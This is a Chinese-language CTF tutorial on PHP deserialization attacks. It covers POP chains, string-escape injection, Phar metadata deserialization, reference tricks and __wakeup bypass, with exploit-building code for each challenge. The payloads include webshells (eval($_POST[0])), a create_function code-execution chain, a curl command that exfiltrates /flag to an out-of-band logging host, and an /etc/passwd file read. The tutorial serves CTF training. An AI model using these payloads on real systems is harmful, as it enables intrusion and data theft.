  if(isset($_GET['ozo'])){     unserialize($_GET['ozo']); } else{     $Saw = new Saw('index.php');     $Saw->_pain(); } ?>
   | 
 
分析:
- 首先找到在 
Vox 类中存在危险函数 include ,而 该函数在 fun 方法内,因此需要 func 方法调用并传参可控。 
- 寻找可以调用 
func 方法的类: 在其同类下发现 __invoke() 方法,存在 $this->fun($this->headset);,那么我们只需要将 Vox 类的属性 headset 赋值为 php://filter 伪协议即可读取 flag.php 文件内容。 
- 寻找可以调用 
Vox 类中的 __invoke() 方法: 由于该方法是魔术方法,当当前类被当做函数调用时自动触发,在 Petal 中存在 __get 方法,代码为: $Nourishment = $this->seed;return $Nourishment(); 也就是说,我们将属性 seed 赋值为 Vox 对象,即可调用 Vox 类的 __invoke()。 
- 寻找可以调用 
Petal 类的 __get() 方法: __get 是魔术方法,当访问一个不存在或无法访问的属性时,自动触发。在 Saw 类中的 __toString 方法存在 $this->gun['gun']->fearless;return "Saw";,那么我们只需要让属性gun赋值为一个关联数组,其中键名 gun 的值为 Petal 对象即可。 
- 寻找可以调用 
Saw 类的 __toString 方法: 在本类中 __wakeup 存在 preg_match 正则匹配函数,对 source 属性进行校验,因此,我们只需要将 source 属性赋值为 Saw 对象即可触发 __toString,而 __wakeup 在反序列化的时候自动调用。
  构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | <?php class Vox{     protected $headset = "php://filter/read=convert.base64-encode/resource=flag.php";     public $sound; }
  class Saw{     public $fearless;     public $gun; }
  class Petal{     public $seed; } $obj = new Vox; $obj2 = new Petal; $obj2->seed = $obj; $obj3 = new Saw(); $obj3->gun = array('gun' => $obj2); $obj3->fearless = $obj3;
  echo urlencode(serialize($obj3)); ?>
   | 
 
例题-4
选自第二届赣网杯 web2 PHP7 环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | <?php error_reporting(0); highlight_file(__FILE__); $pwd=getcwd(); class func {         public $mod1;         public $mod2;          public $key;         public function __destruct()         {                         unserialize($this->key)();                 $this->mod2 = "welcome ".$this->mod1;                            }  }
  class GetFlag {        public $code;          public $action;         public function get_flag(){             $a=$this->action;             $a('', $this->code);         } }
  unserialize($_GET[0]); ?>
   | 
 
数组特性
当一个数组中存在两个元素,第一个元素则是 实例化某个类,第二个元素是个该类的方法名字符串。那么当我们执行 $arr(); 调用该数组的时候,则会调用该方法(第二个函数名字符串)。
适用于 PHP5、PHP7
1 2 3 4 5 6 7 8 9
   | <?php  class Demo { 	public function info() { 		echo "我是 Demo 类 的 info 函数"; 	} } $arr = [new Demo, 'info']; $arr(); ?>
   | 
 

分析:
- 了解数组的特性之后,在 
func 类中的析构方法中存在 unserialize($this->key)();,我们只需要将 key 属性赋值为数组 array(new GetFlag, 'get_flag') 并将其进行序列化即可调用 GetFlag 类 get_flag 方法。 
- 在 
Get_flag 类下的get_flag 方法中发现存在  $a=$this->action;$a('', $this->code); 其实这里我们可以使用 create_function。即可实现任意代码执行。 
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php class func {         public $mod1;         public $mod2;         public $key; }
  class GetFlag {          public $code = '}system($_GET[1]);echo 123;//';         public $action = "create_function"; }
  $f = new func; $gf = new GetFlag; $f->key = serialize([$gf, 'get_flag']); echo serialize($f); ?>
   | 
 
利用: 

字符逃逸
字符逃逸的本质
字符逃逸本质: 对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。
解题思路
- 写出基本的序列化(传参入口的)
 
- 写出注入对象的序列化 (POP链构造)
 
- 分析是长到短还是短到长的替换
 
- 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串的长度,保证这个长度是替换的差值的整数倍,如果不能保证,则加字符串使其成为整数倍。
 
- 构造替换,对象注入
 
例题-1 长到短
选自: DASCTF Esunserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   | <?php show_source("index.php"); function write($data) {     return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
  function read($data) {     return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
  class A{     public $username;     public $password;     function __construct($a, $b){         $this->username = $a;         $this->password = $b;     } }
  class B{     public $b = 'gqy';     function __destruct(){         $c = 'a'.$this->b;         echo $c;     } }
  class C{     public $c;     function __toString(){                  echo file_get_contents($this->c);         return 'nice';     } }
  $a = new A($_GET['a'],$_GET['b']); $b = unserialize(read(write(serialize($a)))); ?>
   | 
 
题目分析: 
- 反序列的控制点在A类的两个属性中,而并不是直接的 
unserialize() 参数可控。 
- 通过传入参数a和b分别赋值给A类的 username 和 password 属性之后进行序列化,分别经过 
write() 和 read() 函数之后再进行反序列化。 
wirte():  其主要作用是将不可见字符 0,不可见字符这里以 0 表示,将 0*0 替换为 \0\0\0 
read():  其主要作用是将\0\0\0 替换为不可见字符 0, 不可见字符   以 0 表示,替换为 0*0 
- 这里由于对 
\0\0\0 使用的是单引号,故而不进行转义,那么就导致可能从6位长度的字符替换为3位长度的字符。不等长的替换,可能就存在字符逃逸,而这里由于是从6位到3位,因此这里是由长到短的替换。 
- 最后我们构造 POP 链即可,将注入对象作为 
username 或 password 属性的值即可。 
解题思路:
- 序列化入口类:
 
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php  class A{     public $username = "UA";     public $password = "PW";                     }
  echo serialize(new A);
  ?>
   | 
 
- 构造 POP 链 序列化注入对象:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | <?php  class B{     public $b = 'gqy';                     }
  class C{     public $c;                          }
  $obj1 = new B; $obj2 = new C; $obj1->b = $obj2; $obj2->c = 'flag.php'; echo serialize($obj1);
  ?>
   | 
 
- 将A对象的 
username 或 password 属性赋值为反序列化B类 

其中标注红的则是注入对象的值,但是由于是字符串传入,因此会把该序列化值当作普通字符串,很明显是利用不成功的。
但是有了不等长替换从 6位 替换为 3位 之后,那么我们就可以将一些没用的东西吃掉。
例如: 
我们在 username 处传入 \0\0\0 当经过 read() 函数之后则会变成:

经过 read() 长到短之后,就带入到 unserialize() 函数进行反序列化,由于原本值长度为6位,但是替换之后实际长度变成了3位,那么 PHP 则会向后再取3位。最终由于语法格式不对,导致反序列化错误。
那么我们如果巧妙的刚好把它替换为一个合法的序列化字符串呢?是不是就达到了利用效果呢?
首先我们先计算要吃掉的字符串长度: 

由于序列化字符串的格式都是 属性;值;属性;值,而我们将其吃掉之后,就变成了 属性;值;值;,不符合要求,故而我们添加一个属性名,假设为 password: 
 
但是上图中红色文字末尾的需要进行闭合,我们添加闭合内容:

接下来就符合要求了,那么 $_GET[b] 传入的值就为: 

最后我们只需要计算需要多个对 \0\0\0 替换即可,前面计算出来我们需要吃掉 22 个字符。

而每对6位字符 \0\0\0 替换为 3个字符,也就是 22 / 3  是除不尽的。

那么该怎么办呢?其实很简单,在 password 前面加入两个字符,让吃掉的字符变为 24 即可,让其除的进,这里特别注意,不能在 username 处加入,因为这会影响值的长度。
于是 password ,也就是 $_GET[b] 的值为: 

最终 22 / 3 得8,于是 username 处只需要8对 \0\0\0 即可。
1
   | ?a=UA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"
  | 
 

例题-2 短到长
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   | <?php show_source("index.php"); function write($data) {     return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
  function read($data) {     return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
  class A{     public $username;     public $password;     function __construct($a, $b){         $this->username = $a;         $this->password = $b;     } }
  class B{     public $b = 'gqy';     function __destruct(){         $c = 'a'.$this->b;         echo $c;     } }
  class C{     public $c;     function __toString(){                  echo file_get_contents($this->c);         return 'nice';     } }
  $a = new A($_GET['a'],$_GET['b']); $b = unserialize(write(read(serialize($a)))); ?>
   | 
 
题目分析:
请参照长到短的替换题目分析,这里只不过是将0*0 3位字符(其中0为不可见字符),变成了 \0\0\0 6位字符。
解题思路: 
- 序列化入口类
 与长到短一致,这里只放截图: 

- 构造 POP 链 序列化注入对象
 与长到短一致,这里只放截图: 

- 将A对象的 
username 或 password 属性赋值为反序列化B类 

- 构造闭合
 由于不符合序列化字符串的规范,故而我们需要构造闭合: 

- 计算要挤出的长度
 

由于 write 函数每替换一次,都会增加3个字节,所以逃逸数据必须是3的倍数,上面挤出的长度为78,是3的倍数,可以不用动,如果不是3的倍数,则可以修改 属性名 的方法,使其成为3的倍数,例如下图尖头所指位置: 


最后只需要 26对 0*0(0为不可见字符)即可,本地测试代码: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php function write($data) {     return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
  class A{     public $username;     public $password; }
  $a = new A;
  $a->username = urldecode('%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:2:"xx";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"'); $a->password = 'x1ong'; echo write(serialize($a)); ?>
   | 
 
运行结果如下: 

此时 xx 属性就被挤出来了,其值为 B 类生成的对象。
利用: 
1
   | ?a=%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%22;s:2:%22xx%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}s:0:%22%22;s:0:%22&b=x1ong
  | 
 

Phar
当我们在做反序列化的题目时,如果没有 unserialize() 函数,或者该函数的参数我们不可控时,我们又该何去何从呢?
Phar 是什么
Phar 归档最好的特点是可以方便将多个文件组成一个文件,因此 phar 归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,它不需要将其提取到磁盘,此外,PHP可以像执行任何其他文件一样轻松地执行 Phar 归档,无论是在命令行上还是在 Web服务器上。
在上传包含中的利用
可以上传图片,但不能上传 php,可以包含但是只能 include($userinput . ".php")。
利用方法: 压缩一个 shell.php 到 1.zip 文件中,重命名为 1.png 上传包含: zip://upload/1.png#shell 或 phar://upload/1.png/shell。 
由于 使用 zip:// 伪协议,大多数需要自行安装 PHP 扩展,有些环境可能没有安装该扩展,导致该协议无法使用,那么 phar:// 协议则是一个很好的替代, PHP 自带该扩展。
Phar 文件格式

可以从 Phar 文件格式中看到,其中用户自定义的 Meta-data 会以序列化的形式存储,那么使用 Phar 文件的时候一定会进行反序列化,至此在没有 unserialize() 函数的时候,同样达到了 unserialize() 函数的效果。
Phar 反序列化条件
- 需要有可用的类,类下有魔术方法,最后 POP Chain 调用到危险方法
 
- 由于 
phar:// 协议是文件流协议,故而需要使用文件操作相关的函数去使用(触发)该协议。  
- 有上传或者写文件的操作,可以把无损的 
phar 文件上传或写入到 web服务器的相关目录,后缀名任意。 
本地构造 Phar 的条件
需要修改 php.ini 配置文件,将 phar.readonly = On 设置为 phar.readonly = Off 即关闭。

构造 Phar 反序列化
- 把 
class 类中的代码复制下来,把方法进行注释。 
- 构造 
POP 链 
- 使用如下代码构造 
Phar 文件。 
1 2 3 4 5 6 7 8
   | <?php $phar = new Phar("phar.phar"); $phar->startBuffering();  $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  $phar->setMetadata($o);  $phar->addFromString("test.txt", "test");  $phar->stopBuffering();  ?>
   | 
 
触发 Phar 的函数
知道创宇测试后可以使用 phar:// 协议的列表: 

但实际不止这些,更多可参考:  https://blog.zsxsoft.com/post/38
例题-1
选自 [NewStarCTF 2023 公开赛道]PharOne BUUCTF 可开环境
打开环境映入眼帘的是文件上传页面。右键查看页面源代码发现 class.php: 

访问该文件,获得如下源码: 
1 2 3 4 5 6 7 8 9 10
   | <?php highlight_file(__FILE__); class Flag{     public $cmd;     public function __destruct()     {         @exec($this->cmd);     } } @unlink($_POST['file']);
   | 
 
是一个很简单的反序列化题目,但是我们没有 unserialize() 函数我们如何进行反序列化呢?答案就是上传一个 phar 文件。使用 unlink 函数触发 phar:// 协议即可。
构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | <?php class Flag{     public $cmd; } $o = new Flag; $o->cmd = 'echo PD9waHAgZWNobyAxMjM7ZXZhbCgkX0dFVFswXSk7Pz4= | base64 -d > upload/x1ong.php';
  $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  $phar->setMetadata($o);  $phar->addFromString("test.txt", "test");  $phar->stopBuffering(); ?>
   | 
 
将生成的 phar.phar 修改为后缀 phar.png 上传,但是题目告诉我们不能有 __HALT_COMPILER 需要进行绕过。

而绕过方法就是对其该文件进行 gzip 压缩上传即可。

可以看到压缩过后的文件内容并没有匹配信息。而是压缩包文件,而phar协议无需解压就认识gzip格式的文件。
但是很遗憾,由于种种原因,最终都没有写入成功木马(),经过反复测试发现容器可以上网但是不存在 ping 命令,存在 curl 命令,于是我们就可以使用数据外带。
重新构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | <?php class Flag{     public $cmd; } $o = new Flag; $o->cmd = 'curl http://******.ceye.io/`cat /flag |base64`';
  $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  $phar->setMetadata($o);  $phar->addFromString("test.txt", "test");  $phar->stopBuffering(); ?>
   | 
 
其中的域名替换成自己 ceye 平台的域名即可,重复上述操作,将 phar.phar 文件进行 gzip 压缩之后,将后缀名修改为 .png 然后上传到服务器。

接着访问 class.php 文件利用传入 file 参数利用即可: 

来到 ceye 平台查看 HTTP 记录,将其中的 base64 解码即可得到 FLAG。


之后看了网上的其他 WP 发现可以写马,只不过需要指定绝对路径,例如 echo '<?php system($_GET[0]);?> > /var/www/html/1.php'。
例题-2
选自 [DASCTF 2020 圣诞赛] WEB-easyphp
题目源码: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | <?php error_reporting(E_ALL); $sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandbox)) {     mkdir($sandbox); }
  include_once('template.php');
  $template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
  if(isset($_GET['var']) && is_array($_GET['var'])) {     extract($_GET['var'], EXTR_OVERWRITE); } else {     highlight_file(__file__);     die(); }
  if(isset($_GET['tp'])) {     $tp = $_GET['tp'];     if (array_key_exists($tp, $template) === FALSE) {         echo "No! You only have 3 template to reader";         die();     }     $content = file_get_contents($template[$tp]);     $temp = new Template($content); } else {     echo "Please choice one template to reader"; } ?>
   | 
 
通过源码分析发现题目考点是 变量覆盖,可以通过该漏洞实现任意文件读取。其 PAYLOAD 为: 
1
   | ?var[template][tp1]=/etc/passwd&tp=tp1
   | 
 
具体参加文章: https://www.qwesec.com/2024/02/variables-overriding.html#%E4%BE%8B%E9%A2%98-3
虽可以进行任意文件读取,但是由于 flag 文件不是常规的文件名称,故而不知道文件名无法进行读取。那么我们只能读取模版类 template.php。
1
   | ?var[template][tp1]=template.php&tp=tp1
   | 
 
获取源码如下: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   | <?php class Template{   public $content;   public $pattern;   public $suffix;
    public function __construct($content){     $this->content = $content;     $this->pattern = "/{{([a-z]+)}}/";      $this->suffix = ".html";   }
    public function __destruct() {     $this->render();   }   public function render() {     while (True) {       if(preg_match($this->pattern, $this->content, $matches)!==1)          break;       global ${$matches[1]};              if(isset(${$matches[1]})) {         $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);       }        else{         break;       }     }     if(strlen($this->suffix)>5) {       echo "error suffix";       die();     }     $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;     file_put_contents($filename, $this->content);     echo "Your html file is in " . $filename;   } } ?>
 
   | 
 
通过审计代码发现存在 Template 类、魔术方法 __destruct() 调用了危险方法 render(),在该方法内将类的属性 content、suffix 带入到了 file_put_contents 函数中。
那么我们如果使用反序列化,将 content 和 suffix 赋值为一句话木马和php后缀的文件。是不是就可以利用了呢?
但是很遗憾,由于并没有 unserialize() 函数,也就是说无法进行反序列化,那么真是如此吗?答案不是,我们注意到,在 index.php 文件中存在 file_get_contents() 函数,参数我们完全可控。并没有进行任何的过滤。
那么我们是不是可以将生成的 phar 文件 通过模版渲染写入到web服务器的 uploads 目录下。
然后通过 file_get_contents()  函数触发 phar://,从而进行反序列化调用魔术方法 __destruct 进行任意文件写入。
构造序列化:
1 2 3 4 5 6 7 8 9 10
   | <?php  class Template{   public $content;   public $pattern;   public $suffix; } $o = new Template; $o->content = '<?php echo 123;@eval($_POST[0]);?>'; $o->suffix = ".php"; ?>
   | 
 
生成phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php  class Template{   public $content;   public $pattern;   public $suffix; } $o = new Template; $o->content = '<?php echo 123;@eval($_POST[0]);?>'; $o->suffix = ".php";
  $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  $phar->setMetadata($o);  $phar->addFromString("test.txt", "test");  $phar->stopBuffering(); ?>
   | 
 
那么问题来了,我们如何将生成的 phar.phar 文件上传到服务器呢?两种方法。
- 将 
phar.phar 文件放入到公网服务器,使用 file_get_contents() 发起 HTTP 请求获取。但是要求是靶机出网。 
- 对 
phar.phar 文件的内容进行 base64 编码,让 file_get_contents() 函数从 data 伪协议中获取。但是要求 PHP相关配置开启。 
我们就使用第二种方法,首先读取生成的 phar.phar 文件,并进行 base64 编码: 

通过变量覆盖漏洞将该文件写入即可: 
1
   | ?var[template][tp1]=data:
   | 
 
需要注意的是: 由于Base64编码中可能存在+,我们通过 GET 请求传入时,需要进行 URL 编码。

访问生成的模版文件,即可看到 phar 文件的内容: 

现在服务器上有了 Phar 文件,那么我们该如何使用 phar:// 触发反序列化呢?
答案是使用 index.php 文件中的 file_get_contents: 
1
   | ?var[template][tp1]=phar://uploads/cb8a7229e230ef0d397727e74a2ee8ae/e9fa73ba88cd4fe4c7777de19b5daa83.html&tp=tp1
   | 
 

由于我们使用 phar:// 协议,phar 协议在解析 phar 文件的时候,由于元数组是 Template 类的序列化字符串,故而进行反序列化,反序列化之后由于 Template 类存在析构方法故而进行调用,同时也调用了 render 方法进行文件的写入。
最后访问生成的 php 文件即可,利用即可:

指针引用
例题-1
选择 BUUCTF 平台:  BUU CODE REVIEW 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | <?php highlight_file(__FILE__); class BUU {    public $correct = "";    public $input = "";
     public function __destruct() {        try {            $this->correct = base64_encode(uniqid());            if($this->correct === $this->input) {                echo file_get_contents("/flag");            }        } catch (Exception $e) {        }    } }
  if($_GET['pleaseget'] === '1') {     if($_POST['pleasepost'] === '2') {         if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {             unserialize($_POST['obj']);         }     } }
   | 
 
分析: 
根据题目我们可以得知,这里涉及到了 MD5 弱类型比较问题,经过 MD5 弱类型比较之后,会进行反序列化。
下面我们来看类中的关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | class BUU {    public $correct = "";    public $input = "";
     public function __destruct() {        try {            $this->correct = base64_encode(uniqid());            if($this->correct === $this->input) {                echo file_get_contents("/flag");            }        } catch (Exception $e) {        }    } }
  | 
 
可以看到,我们需要反序列化 BUU 类,同时 $this->correct = base64_encode(uniqid());,而需要我们通过反序列化修改 input 属性的值达到与 corrent 属性(随机生成的值)一致。才会输出 FLAG。
而 uniqid() 函数则用于生成一个唯一ID。效果大概如下: 

可以发现该函数的前缀是一样的,是因为它获取一个带前缀、基于当前时间微秒数的唯一ID。由于我们执行时间差不多,故而一样,但是后面是随机的十六进制,故而暴破可能性基本没有。
那么我们该如何给赋值 input 让其等于 随机生成的 uniqid(),其实在 PHP 中是支持引用赋值的。例如: 


那么我们只需要将 input 属性的值引用自 correct 属性即可。
构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | <?php  class BUU {    public $correct = "";    public $input = "";
     public function __construct() {         $this->input = & $this->correct;     }
 
 
 
 
 
 
 
 
      }
  echo serialize(new BUU); 
  ?>
   | 
 
利用:

关于 MD5 弱类型如果不理解请参考: https://www.qwesec.com/2024/02/ctfweb-md5.html
例题-2
选自: [蓝帽杯2020第四届 线上赛]Soitgoes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | <?php highlight_file(__FILE__); class Seri{     public $alize;     public function __construct($alize) {         $this->alize = $alize;     }     public function __destruct(){         $this->alize->getFlag();     } }
  class Flag{     public $f;     public $t1;     public $t2;
      function __construct($file){         $this->f = $file;         $this->t1 = $this->t2 = md5(rand(1,10000));     }
      public function getFlag(){         $this->t2 = md5(rand(1,10000));         echo $this->t1;         echo $this->t2;         if($this->t1 === $this->t2)         {             if(isset($this->f)){                 echo @highlight_file($this->f,true);             }         }     } } if (isset($_GET['ser'])) {     unserialize($_GET['ser']); }
   | 
 
分析:
- 我们要执行的目标为 
Flag 类下的 getFlag() 方法。 
- 寻找可以调用 
Flag 类下的 getFlag() 方法的类: 发现为 Seri 类的
  alize 属性赋值为 Flag 类生成的对象,即可触发 getFlag() 方法。 
我们来看下 getFlag() 方法的代码: 
1 2 3 4 5 6 7 8 9 10 11
   | public function getFlag(){     $this->t2 = md5(rand(1,10000));     echo $this->t1;     echo $this->t2;     if($this->t1 === $this->t2)     {         if(isset($this->f)){             echo @highlight_file($this->f,true);         }     } }
  | 
 
可以看到,需要 t1 和 t2 的值完全相等并且为 f 属性赋值为想要读取的文件名称 flag.php 即可得到 FLAG。
但是由于 t2 的属性值为 随机数 1-10000 之间随机生成的值并进行 MD5 加密之后的结果。由于是万分之一可能性,所以我们假设 t2 属性为一个值并进行暴破。
不过我们有更好的解决方法,那就是使用值引用。
构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | <?php class Seri{     public $alize; }
  class Flag{     public $f;     public $t1;     public $t2;
      function __construct(){         $this->t1 = & $this->t2;     } }
  $s = new Seri; $flag = new Flag; $s->alize = $flag; $flag->f = 'flag.php'; echo serialize($s);
 
   | 
 
利用: 

如果使用暴破进行做题也可以,假设随机到的值为5000,那么我们就构造如下,这里就不贴序列化用的代码了,直接看序列化值: 
1
   | O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"a35fe7f7fe8217b4369a0af4244d1fca";s:2:"t2";N;}}
  | 
 
接着使用 burp 抓包发到 Intruder 模块即可,大概在 1929 次数据包之后得到了 FLAG。

反序列化特性及绕过方法
关键字过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php  class BUU {     public $file = "index.php";     public function __destruct() {         if (isset($this->file) && !stripos('flag', $this->file))  {             highlight_file($this->file);         }     } }
  if (isset($_GET['ser'])) {     unserialize($_GET['ser']); } else {     $o = new BUU; } ?>
   | 
 
通过代码来看这是一道很简单的反序列化题目,但是由于过滤了flag.php 导致我们无法直接使用 flag.php 关键字。
我们先按照常规构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | <?php  class BUU {     public $file = "index.php";                          }
  $o = new BUU; $o->file = 'flag.php'; echo serialize($o);  
  ?>
   | 
 
在反序列化值类型中,如果值类型为大写的 S,则先进行解码,那么我们只需要将 flag.php 按照一定规则编码即可: 先将每个字符转为十进制的ASCII码,再将其转为十六进制即可。
编写 Python 代码: 
1 2 3 4 5 6
   | s = 'flag.php' result = '' for i in s: 	result += hex(ord(i))
  print(result.replace('0x','\\')) 
   | 
 
最终构造: 
1
   | O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}
  | 
 

绕过__wakeup
CVE-2016-7124: 当成员属性数目大于实际数目时可绕过wakeup方法的执行
影响版本: 
PHP5: < 5.6.25
PHP7: < 7.0.10
常规反序列化: 

利用 CVE-2016-7124 的反序列化: 

例题: [极客大挑战 2019] PHP 1   BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/buuctfWeb.html#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86-CVE-2016-7124
这种方法也叫做畸形序列化字符串,畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
快速析构
快速析构的原理: 当 php 接收到畸形序列化字符串时,PHP 由于其容错机制,依然可以反序列化成功。 但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以 PHP 对这个畸形序列化字符串 得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法 __destruct()。
应用场景: 某些题目需要利用 __destruct 才能获取flag,但 __destruct 是在对象被销毁时才触发 (执行顺序太靠后), __destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发 __destruct 方法。
畸形字符串的构造:  
示例: 
常规序列化: 

畸形序列化字符串: 

PHP7.1 对属性权限不敏感
特性: php>7.1 版本对类属性的检测不严格 (对属性类型不敏感)
先看 PHP 7.1 以下的版本,对类属性的权限是敏感的: 

而我们来看 PHP 7.1 以上的版本,对类属性的权限是不敏感的: 

例题: 网鼎杯 2020 青龙组 AreUSerialz  BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/areUSerialz.html